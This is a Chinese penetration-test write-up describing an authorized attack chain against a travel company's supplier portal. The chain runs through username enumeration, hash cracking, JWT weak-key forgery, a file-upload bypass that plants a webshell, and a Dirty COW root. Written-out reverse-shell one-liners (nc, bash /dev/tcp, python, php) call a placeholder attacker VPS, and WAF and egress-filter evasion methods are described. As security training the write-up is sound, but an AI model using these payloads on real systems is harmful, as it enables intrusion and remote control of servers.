作者:yangyangwithgnu

来源:https://www.freebuf.com/vuls/211842.html

完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步,虽然这个站点只经历了前四步,但也具有较强的代表性,组合利用漏洞形成攻击链,拿下管理权限。

事情缘起

杜兄弟在某旅游集团公司任职 IT 技术主管,有两家驻场安全厂商为其提供安全服务,一家负责业务相关的渗透测试,一家负责网络访问、流量监测的安全管控,上周和他吃了个串串,整个饭局除了刚开始的寒喧,大部份时间就是布道,在他的管理下,生产系统做到了绝对安全。

well,你知道的,虽然我在蓝队,但一直有颗红心。自然得怼一下,“这个还是要看攻击者哟,攻防演练没丢分,说明不了啥子三”,杜兄弟不高兴了,在酒精的作用下,他开腔了,“这样,我帮你申请 5K 的漏洞赏金,你看哈能找到啥问题不”。对嘛,找得到,挣点油钱,找不到,当学习,于是就应下来了。杜兄弟看我敢接招,临走前点了根烟,猛吸了两口,思索片刻后又给我加了两个限定条件,一是,每步实质攻击前,必须先得到他的授权,二是,单个漏洞不算完成任务,必须拿到操作系统 root。

wow,挺大的挑战,拿不下就打脸,我陷入激烈的思想斗争,wait、wait,我不是应该向钱看么,脸面不重要,ok,一下就想通了。

初步刺探

拿到的目标是个供应商管理系统,访问之,自动跳转至登录页面:

img
img

正准备启动信息收集工作,页面上有三个地方引起了我的注意:.do 的接口地址、登录功能、密码找回功能。

审查 .do 接口。看到 .do 自然联想到 struts2 命令执行全家桶。

看下用的哪种脚本语言:

img
img

的确是 java,用安恒出品的 S2 漏洞验证工具扫描下:

img
img

无果。

审查登录功能。登录功能的审查点很多,比如账号是否可枚举、密码是否可暴破,但前提是没有验证码,显然这里存在图片验证码,所以,我先确认验证码是否可绕过。

拦截登录请求:

img
img

应答标志为 2,第二次重发,应答标志变为 1:

img
img

显然,验证码防御机制有效,虽然 python 调用 tesseract 识别图片的手法可有效攻击图片验证码,但需要我爬取该站的大量图片来训练,这个阶段无需太深入,暂时放一放。

审查密码找回功能。密码找回功能很容易出现逻辑错误,经验来看,至少可从七个方面攻击密码找回功能:重置凭证接收端可篡改、重置凭证泄漏、重置凭证未校验、重置凭证可暴破、用户混淆、应答中存在影响后续逻辑的状态参数、token 可预测。

访问密码找回页面:

img
img

拦截密码找回的请求:

img
img

从应答描述可知,提示该用户不存在,重发几次,结果相同,说明图片验证码未生效,好了,第一个洞,用户名可枚举。

显然,用户名在该请求的 params 参数中,URL 解码可得明文:

img
img

于是,将 root 设定为枚举变量,加载中国人姓名(top500)、后台账号两个字典,进行枚举:

img
img

得到三个有效账号:nana、admin、liufei。

随意选个账号进入密码找回流程,liufei,应答为 JSON 数据,格式化后吓我一跳:

img
img

敏感信息大赠送!有邮箱,甚至有哈希密码。记下来,第二个漏洞,账号相关敏感信息泄漏。

我的目的很明确,获取登录密码,所以,我计划利用泄漏信息,从信息库和哈希反解两方面达到目的。

信息库。提取邮箱中的用户名,liufei 的 liufei、nana 的 18xxxxxx56、admin 的 legxxxxxxng,在信息库中查询历史密码。

只找到 liufei 相关的多个历史密码,逐一验证,均错误。

哈希反解。提取三个账号的哈希密码,liufei 的 a1e0476879cab2a76cc22c80bbf364dd、nana 的 208f0aba4a6d4b9afe94207e6c57d594、admin 的 3faf009c43bb39c5a37859bc48feaff3。

有了哈希密码,第一时间查彩虹表,反解明文密码:

img
img

只有账号 liufei 的密码解出为 !QAZ2wsx,nana、admin 无解,暂时放下。第三个漏洞,业务系统存在弱口令账号 liufei。

低权进站

通过 liufei / !QAZ2wsx 登录网站:

img
img

功能非常有限,只有个回收站,里面没有业务任何数据。

上图中有几个输入框,应该是个查询功能,但是找不到查询按钮,尝试在前端 HTML 源码中翻找查询接口,无果;在 burp 的报文历史中审查 JS,也没找到有用的接口。看来,还得找个高权限的账号。

回到先前未反解出来的两个账号,nana 的 208f0aba4a6d4b9afe94207e6c57d594、admin 的 3faf009c43bb39c5a37859bc48feaff3。

https://www.cmd5.com/拥有海量的彩虹表数据,它反解不出来,很可能是个强口令。对于强口令的暴破,我习惯围绕用户名,制作具有社工属性的密码字典,如,用户名 nana,社工属性密码可能为 NaNa、na520na、nana@19901015。如何生成社工属性密码字典?hashcat!对滴,hashcat 不仅是哈希暴破神器,也支持基于规则生成密码字典,规则库位于 hashcat/rules/:

img
img

其中,dive.rule 含有我需要的规则,选之。我把 nana 视为基础信息存入 base.txt 中作为输入,让 dive.rule 模仿学习生成类似的密码字典,保存至 se_passwds.txt:

img
img

接着用社工字典暴破哈希密码:

img
img

7 秒出结果,得到 nana 的密码 nanacnacnanac,第四个漏洞,业务系统存在社工属性口令账号 nana。用类似的手法,制作了账号 admin 的社工密码字典,遗憾,并未暴出 admin 的密码。没关系,用 nana / nanacnacnanac 登录系统,或许有新发现。

一旦进入后台,习惯上先找三类功能:上传功能、查询功能、命令功能。上传功能,通过各种任意文件上传攻击手法,上传 webshell;查询功能,审查是否存在 SQL 注入,拿数据(如,哈希密码);命令功能,指那些有著名工具实现的功能,比如,输入个 IP,业务功能探测该 IP 是否存活,服务端可能执行了 ping 命令,又如,上传个压缩包,页面显示压缩包内容,服务端可能执行了 unzip 命令,这时,用命令注入或命令选项注入的手法,攻击服务端。

登录 nana 账号,业务功能也不多,但有个上传功能:

img
img

我得深入审查它,或许是 getshell 的唯一通道。

先上传一个正常的 PNG 图片,页面报错,提示非管理员禁止上传:

img
img

这可不好玩了,admin 的哈希密码之前用彩虹表、社工字典都尝试过,无法反解,前进步伐再次受阻。

逻辑漏洞

回想之前刺探过的密码找回功能,发现泄漏用户哈希密码就未再深入,应该再审查下,或许能重置 admin 密码。

用 admin 进入密码找回流程,先顺利通过服务端用户名是否存在的校验,然后向该账号绑定的邮箱地址发送密码重置 URL,请求如下:

img
img

显然,参数 email 存在不安全的直接对象引用(IDOR)问题,将其替换为攻击者的邮箱,90% 的概率会收到重置邮件。(IDOR,国内外厂商对它完全是两个态度,一次给国外电商平台提交了个 IDOR 漏洞,可导致全量用户邮箱泄漏,拿了 3K,美刀,类似漏洞提交给国内厂商,可导致政企用户个人信息泄漏、可增删改用户家庭住址,奖励了 2K,还是购物卡,T_T)

于是,我找了个匿名邮箱,尝试劫持 admin 的密码找回邮件:

img
img

很快,匿名邮箱收到来信:

img
img

访问带 token 的密码重置链接,还真能修改密码:

img
img

洋气!第五个漏洞,任意用户密码重置。

呵呵,小激动,喝口茶,刷刷微信休息下,刚好看到杜兄弟留言:

img
img

茶吐了一地,到手的 admin 又飞了。没办法,人家先就说清楚了,“每步实质攻击前,必须先得到授权”。

我不得不去找寻其他攻击路径!

垂直越权

焦点回到 nana 账号的上传功能上,虽然服务端报错禁止非 admin 上传,但仔细审查请求报文,看到存在 token:

img
img

这个 token 让我觉得很突兀,通常 token 要么用作身份凭证、要么用于防 CSRF,若是前者,就不应该与同样表示身份凭证的 cookie 同时存在,若是后者,通常为 16 位或 32 位的哈希值,而非用点号分隔的三段 base64。于是,我依次将每段解码:

img
img

第一段解码看到 JWT,第二段解码发现用户名,第三段因下划线导致解码失败。

原来是 JWT 啊!老朋友了,全称叫 JSON Web Token,现代 web 应用中替代 cookie 表示用户身份凭证的载体。形式类似 base64,但使用了 base64 可用字符空间之外的点字符,且无法直接解码。HTTP 报文中一旦发现 JWT,应重点关注。一时没想起,这不就是现代 web 常用的 JWT 么,服务端对 JWT 实现不好,容易导致垂直越权,比如,把第二段的 user 字段值从 nana 篡改 admin。但是,JWT 的签名(也就是上面的第三部分),是对信息头和数据两部分结合密钥进行哈希而得,服务端通过签名来确保数据的完整性和有效性,正因如此,由于我无法提供密钥,所以,篡改后的 token 到达服务端后,无法通过签名校验,导致越权失败。

攻击 JWT,我常用三种手法:未校验签名、禁用哈希、暴破弱密钥。

未校验签名。某些服务端并未校验 JWT 签名,所以,尝试修改 token 后直接发给服务端,查看结果。于是,我将 user 字段值从 nana 改为 admin 后,重新生成新 token:

img
img

由于未填写正确密钥,即便生成格式正确的新 token,但提示无效签名(invalid signature),没事,放入上传请求报文中,发给服务端,试试手气:

img
img

bad news:

img
img

没关系,继续尝试其他攻击手法。

禁用哈希。JWT 第一部分含有 alg 字段,该字段指定生成签名采用哪种哈希算法,该站使用的是 HS256,可将该字段篡改为none,某些 JWT 的实现,一旦发现 alg 为 none,将不再生成哈希签名,自然不存在校验签名一说。

https://jwt.io/#debugger将 alg 为 none 视为恶意行为,所以,无法通过在线工具生成 JWT:

img
img

我只得用 python 的 pyjwt 库来实现:

img
img

你看,用 none 算法生成的 JWT 只有两部分了,根本连签名都没生成。将新的 token 发给服务端,仍然报错“wrong signature”。另外,某些 JWT 实现对大小写敏感,所以,我继续尝试了 None、nOne、NONE,均报错。

暴破弱密钥。别放弃,哪怕最后一招也得尝试,希望该站用的是个弱密钥,暴破。

我在 github 上找了个 JWT 密钥暴破工具https://github.com/lmammino/jwt-cracker,但只支持字符序列穷举方式暴破,无法加载字典:

img
img

不得不自己写个脚本。

前面提到的 pyjwt 库,不仅可用于生成 JWT,也可通过 jwt.decode(jwt_str, verify=True, key=key_) 进行签名校验,但,导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT 字符串格式错误等等,所以,借助 jwt.decode(jwt_str, verify=True, key=key_) 验证密钥 key_:

1.若签名直接校验失败,则 key_ 为有效密钥;

2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;

3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;

4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

按此逻辑,快速实现 JWT 密钥暴破功能,代码如下:

img
img

运行脚本,很快找到密钥:

img
img

哈哈,哈哈哈哈,密钥到手,高权我有!

接下来,我将 user 字段从 nana 改为 admin,并提供有效密钥 admin

img
img

生成了具备有效签名的新 JWT 值。

尝试用伪造成 admin 的新 JWT 上传图片:

img
img

哈哈哈哈,成功上传图片。第六个漏洞,JWT 使用弱密钥,可导致垂直越权。

建立据点

真是麻烦,整了这么久,才获得一个可用的上传功能而已,还不一定能上传 webshell,走一步看一步。

在我看来,任意文件上传攻击应关注四个要素:找寻文件路径、指定文件扩展名、写入脚本代码、防 WAF 拦截。

找寻文件路径。上传 webshell 后肯定要访问,势必得晓得文件写入路径,通常上传成功后,路径将回显在应答中,但该站并无回显,但好在它是个图片,所以,在页面右键即可查看文件路径:

1566216142_5d5a8fceb7c55.png!small
1566216142_5d5a8fceb7c55.png!small

同时,为了方便后续调试,我把查询文件路径的接口保留下来:

1566216150_5d5a8fd68a8a6.png!small
1566216150_5d5a8fd68a8a6.png!small

指定文件扩展名。上传报文中,涉及文件扩展名的地方如下三处:

1566216159_5d5a8fdf58afc.png!small
1566216159_5d5a8fdf58afc.png!small

我得逐一验证哪个是影响服务端写入文件时用到的扩展名。尝试将第一处 fileName 域的 info.png 改为 info.jsp,确认写入文件名:

1566216165_5d5a8fe5af881.png!small
1566216165_5d5a8fe5af881.png!small

wow,这运气。

写入脚本代码。接下来,我把上传报文中的图片数据替换为一行无害的 JSP 代码:

1566216172_5d5a8fec1b4fc.png!small
1566216172_5d5a8fec1b4fc.png!small

上传失败,文件内容是唯一变更的地方,那么,我可以合理猜测服务端要么检测了文件内容是否存在脚本代码,要么检测了文件头是否为图片类型。

验证是否检测了脚本代码。我把这行 JSP 代码改为普通文本:

1566216178_5d5a8ff2b39fc.png!small
1566216178_5d5a8ff2b39fc.png!small

仍然失败,说明并非检测了恶意代码。

验证是否检测了文件头。不同类型的文件都有对应的文件类型签名(也叫类型幻数,简称文件头),比如,PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A、GIF 为 47 49 46 38 37 61、JPG 为 FF D8 FF E0。于是,我添加了 PNG 文件头后再次上传:

1566216189_5d5a8ffd79b82.png!small
1566216189_5d5a8ffd79b82.png!small

wowo,上传成功。立即访问,确认能否解析:

1566216194_5d5a90022d3af.png!small
1566216194_5d5a90022d3af.png!small

500 错误,不应该啊,就这么一行无害普通代码,怎么会导致服务端错误呢?!会不会 PNG 头中存在不可见字符,导致解析报错?改成全是可见字符的 GIF 头试试:

1566216200_5d5a9008bf633.png!small
1566216200_5d5a9008bf633.png!small

确认能否正常解析:

1566216207_5d5a900ff32ef.png!small
1566216207_5d5a900ff32ef.png!small

呵呵,讲究!换成 GIF 文件头可成功解析。

防 WAF 拦截。接下来,我把无害 JSP 代码替换为命令执行的小马,成功上传、成功解析、成功执行命令:

1566216216_5d5a901862c47.png!small
1566216216_5d5a901862c47.png!small

哈哈,第七个洞,文件类型签名可绕过,导致任意文件上传 getshell。

我的内心开始放荡,抑制不住激动的心情按下了 F5,居然又出幺蛾子:

1566216222_5d5a901e02268.png!small
1566216222_5d5a901e02268.png!small

顺利写马、可以执行一次命令、刷新页面出现禁止访问,这种现象,我怀疑 WAF 作祟,它发现流量中携带恶意行为后拒绝请求。

两年前,突破 WAF 我大概会用到这几种手法:分块传输、畸型请求、转义序列、偏僻编码、TLS 滥用,而如今,划时代的冰蝎问世(尽管它未开源),让我几乎可以忽视 WAF 的存在。上古时代的各类一句话、小马、大马早已成为各大 WAF 出厂默认封杀规则;传奇 webshell 管理客户端菜刀也年久失修,明文流量毫无隐私可言;冰蝎,采用密钥变换手法,将文本载荷转为二进制流,再进行加密传输,天生具备防流量监测的能力。

所以,我上传冰蝎马:

1566216228_5d5a9024ebe47.png!small
1566216228_5d5a9024ebe47.png!small

直接访问报错:

1566216237_5d5a902d34446.png!small
1566216237_5d5a902d34446.png!small

没关系,冰蝎马未处理异常,不影响管理端连接:

1566216242_5d5a9032ebac9.png!small
1566216242_5d5a9032ebac9.png!small

现在,我可以随意执行命令:

image.png
image.png

管理文件:

1566216254_5d5a903eaba56.png!small
1566216254_5d5a903eaba56.png!small

题外话,关于上传漏洞,冰蝎流量监测、白名单扩展绕过,这有两点你可以了解下:

\1. 冰蝎流量能逃过所有品牌的 WAF 监测么?几乎是,唯一逃不过奇安信(原 360、原原网神)的天眼系统,冰蝎管理端与冰蝎马建立会话时需要获取动态密钥,这个过程中的请求与应答的两个报文存在特征,天眼的着力点在此(作者后续补充,此处为他见过有限的 WAF 品牌中,只有天眼能发现冰蝎的流量,其他大部份品牌未作验证);

\2. 任意文件上传攻击,遇到服务端扩展名白名单的场景,除了常规的解析漏洞手法外,还可能关注本地文件包含漏洞(LFI),以及 HTTP 参数污染漏洞(HPP),特别是 HPP,在突破白名单限制时,很有杀伤力。

系统提权

webshell 虽然赋予我执行命令、管理文件的能力,但毕竟不是真正的 shell,无法执行交互式命令、无法控制进程状态、无法补全命令等等,非常不利于提权操作,所以,必须反弹 shell。

通过冰蝎在目标上执行反弹命令:

1566216267_5d5a904b2750a.png!small
1566216267_5d5a904b2750a.png!small

VPS 监听:

1566216273_5d5a905162f55.png!small
1566216273_5d5a905162f55.png!small

等昏过去了都没见到 shell 回来,反弹 shell 失败!导致失败的因素很多,经验来看,常见如下几类:反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。

验证是否反弹命令不存在。我常用的几个反弹命令:nc/nc.openbsd/nc.traditional、bash/sh/dash、python/perl/PHP/ruby、exec。

用 nc 反弹,命令如下:

nc <your_vps> 1024 -e /bin/sh

某些目标的 nc 不支持 -e 参数,有两个解决思路,要么使用其他版本的 nc:

nc.traditional <your_vps> 1024 -e /bin/sh

要么配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f

用 bash 反弹:

/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1

用 python 反弹:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用 PHP 反弹:

php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'

用 exec 反弹:

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

在目标上查看相关命令是否存在:

image.png
image.png

看来除 PHP 外,其他反弹命令都可用,那么先前反弹失败并非 bash 命令的原因。

验证是否禁止出口流量。某些目标在防火墙上限制了出口流量,禁止目标主动向外发起网络请求,我计划通过带外(Out Of Band)的方式进行验证。大致逻辑是,在攻击者自己的 VPS 上监测某种协议的网络请求,在目标上用这种协议访问 VPS,若在 VPS 上看到该协议的请求日志,则可推断出目标允许出口流量。

为了减少其他因素干扰,我习惯选用无端口的协议进行出口流量的测试,ICMP 最单纯。你知道互联网上随时都有 ICMP 的刺探,导致 VPS 看到的日志量非常大,所以,我指定 ping 的包的大小,这样方便过滤。

第一步,虽然我指定了 ping 包大小,但实际大小由系统确定,先在目标上执行 ping 命令,获取实际包大小:

image.png
image.png

我用 -s 选项指定包大小为 64 个字节,系统实际发送了 92 个字节,以 length 92 为关键字查找 ICMP 记录。

第二步,在 VPS 上监控 ICMP 日志:

image.png
image.png

第三步,在目标上再次执行 ping 命令:

image.png
image.png

第四步, 在 VPS 上查看到大小为 92 的 ICMP 包:

image.png
image.png

经过以上四步,我确认目标允许出口流量。

验证是否限定向外访问端口。某些目标限定访问外部端口,常见黑名单和白名单两种方式。黑名单,比如,禁止目标机器向外访问 MSF 默认的 4444 端口;白名单,比如,只允许向外访问 web 常见的 80 端口,注意下,攻击端即便监听的 80 端口,getshell 的流量采用的也并非 HTTP 协议,而是普通的 socket,切勿与 HTTP 隧道 getshell 混淆。

先前反弹失败用的是 1024 端口,换个端口 2941 监听试试:

image.png
image.png

目标上用 HTTP 协议访问 VPS 的 2941 端口:

image.png
image.png

等待片刻,VPS 的并无 HTTP 记录,所以,怀疑采用白名单。经验来看,端口白名单通常只允许向外访问 HTTP 服务的默认 80、HTTPS 服务的默认 443,于是,VPS 监听 443 端口,目标上访问 443,这时 VPS 上获得 443 端口的访问记录:

image.png
image.png

那么,我可以几乎断定目标的确是用白名单机制限制了向外访问的端口号,其中猜测出 443 端口在白名单范围内。

验证是否存在流量审查。换成 443 端口后应该顺利反弹 shell,服务端的确也收到了 shell,但还没来得及执行任何命令,马上就就掉线了。我猜测服务端可能存在某种流量检测设备,以物理旁路、逻辑串联的方式接入在网络中,一旦发现恶意行为,分别向客户端和服务端发送 RESET 的 TCP 包,达到断开客户端和服务端连接的目的,表象类似传统堡垒机的防绕行机制。

流量审查,审查设备必定得到明文流量数据才行,要防审查自然想到加密流量。所以,我不再简单地用 bash 来反弹 shell,而在此基础上,将原始流量用 openssl 加密,这样就能达到防流量审查的目的。

具体而言,第一步,在VPS 上生成 SSL 证书的公钥/私钥对:

image.png
image.png

第二步,VPS 监听反弹 shell:

image.png
image.png

第三步,目标上用 openssl 加密反弹 shell 的流量:

image.png
image.png

第四步,VPS 上成功获取加密的哑 shell:

image.png
image.png

现在,我得到的仅仅是个简陋的哑 shell,并非交互式 shell。基于以下几个原因,让我有强烈驱动力将哑 shell 转为交互式 shell:防止 ctrl-c 中断 getshell 会话、无法查看语法高亮、无法执行交互式命令、无法查看错误输出、无法使用 tab 命令补全、无法操控 job、无法查看命令历史。

具体如下,第一步,在哑 shell 中执行:

$ python -c 'import pty; pty.spawn("/bin/bash")'

键入 Ctrl-Z,回到 VPS 的命令行中;第二步,在 VPS 中执行:

$ stty raw -echo$ fg

回到哑 shell 中;第三步,在哑 shell 中键入 Ctrl-l,执行:

$ reset$ export SHELL=bash$ export TERM=xterm-256color$ stty rows 54 columns 104

这样,我得到了功能齐全的交互式 shell,比如,支持命令补全、语法高亮:

image.png
image.png

一切就绪,正式进入提权操作。提权的手法很多,比如,利用内核栈溢出提权、搜寻配置文件中的明文密码、环境变量劫持高权限程序、不安全的服务、借助权能(POSIX capabilities)提权、sudo 误配、SUID 滥用等等。我喜欢快刀斩乱麻,将 linux-exploit-suggester-2 上传至目标后运行:

image.png
image.png

提示当前内核可能存在脏牛漏洞,上传本地编译好的脏牛 exp,执行后毫无波澜地拿到了 root:

image.png
image.png

虽然这个目标用内核漏洞成功提权,对我而言,只能算作运气好,在如今的网络安全生态下,运维人员已有足够的安全意识,安装系统补丁早已融入日常工作。所以,我有必要分享一种内核漏洞之外的提权手法,它的成功率非常高,并且不像内核提权那样可能导致系统挂起,它就是对系统完全无损的 sudo 误配提取手法。

个人非常、十分、特别喜欢它,sudo 误配的一种利用手法是,查看 home/ 目录下是否 .sudo_as_admin_successful 文件,若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户,而在已经获取当前账号的系统环境的前提下,要拿到低权账号的密码,虽然有门槛,但也不是不可能(如,翻找各类配置文件)。

靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:

image.png
image.png

接着,翻找文件找到其密码:

image.png
image.png

然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:

image.png
image.png

最后,用 technawi 自己的密码切换为 root 用户:

image.png
image.png

就这样,成功提权!

说这么多,不是排名哪种提权手法优秀、哪种拙劣,能达到目的,适合你思维模式的,就是最好的,你说呢!

故事尾声

到此,任务算完成了,整个过程很有意思,目标环境设有层层防御,但每道防线或多或少存在些小问题,多个小问题串起来,便成了黑客进入系统内部的攻击路径。

完整来说,全流程的攻击链包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步,虽然这个站点只经历了前四步,但也具有较强的代表性。简单回顾下,大概经过以下关键步骤:

  1. 密码找回功能处,图片验证码未刷新,导致可枚举用户名,得到三个有效账号:nana、admin、liufei;

  2. 密码找回功能,若是有效用户,服务端泄漏有效用户的敏感信息,包括哈希密码;

  3. 由于系统存在弱口令,导致通过彩虹表反解出 liufei 的密码;

  4. 通过 liufei 账号登录系统,发现为低权账号,无可利用功能;

  5. 回到 nana 账号上,通过制作社工密码,暴破出该账号密码;

  6. 登录 nana 账号,找到上传点,但非 admin 而禁止上传;

  7. 回到 admin 账号上,重新审查密码找回功能,发现存在 IDOR,可重置 admin 密码,但业务厂商告知不能重置,作罢;

  8. 再次登录 nana 账号,分析上传请求报文,发现服务端通过 JWT 作为身份凭证,由于 JWT 采用弱密钥,导致垂直越权至 admin;

  9. 以 admin 身份上传,服务端通过文件类型签名作为上传限制,可轻松绕过,成功上传 webshell;

  10. 服务端审查 webshell 流量,无法长时间使用,改用冰蝎马,实现 POST 数据二进制化、加密化,突破 webshell 流量审查;

  11. 反弹 shell 时遇阻,目标设置向外访问端口白名单,通过各种手法找到端口白名单包含 80、443;

  12. 设置反弹 shell 至 443 端口仍失败,发现目标部署反弹流量审查设备,于是,用 openssl 加密反弹流量,成功获取反弹 shell;

  13. 为方便后续提权、维权、移动,通过技巧将反弹的哑 shell 转为全功能的交互式 shell;

  14. 通过查找目标内核版本,发现存在脏牛漏洞,上传 exp 后顺利提权为 root。

最后,杜兄弟也兑现了承诺:

image.png
image.png

虽然做人要向 qian 看,但它并不是快乐的源泉,全程带阻、层层突破、直捣黄龙,或许,这才是真正的乐趣!

(部分信息敏感,内容适当调整)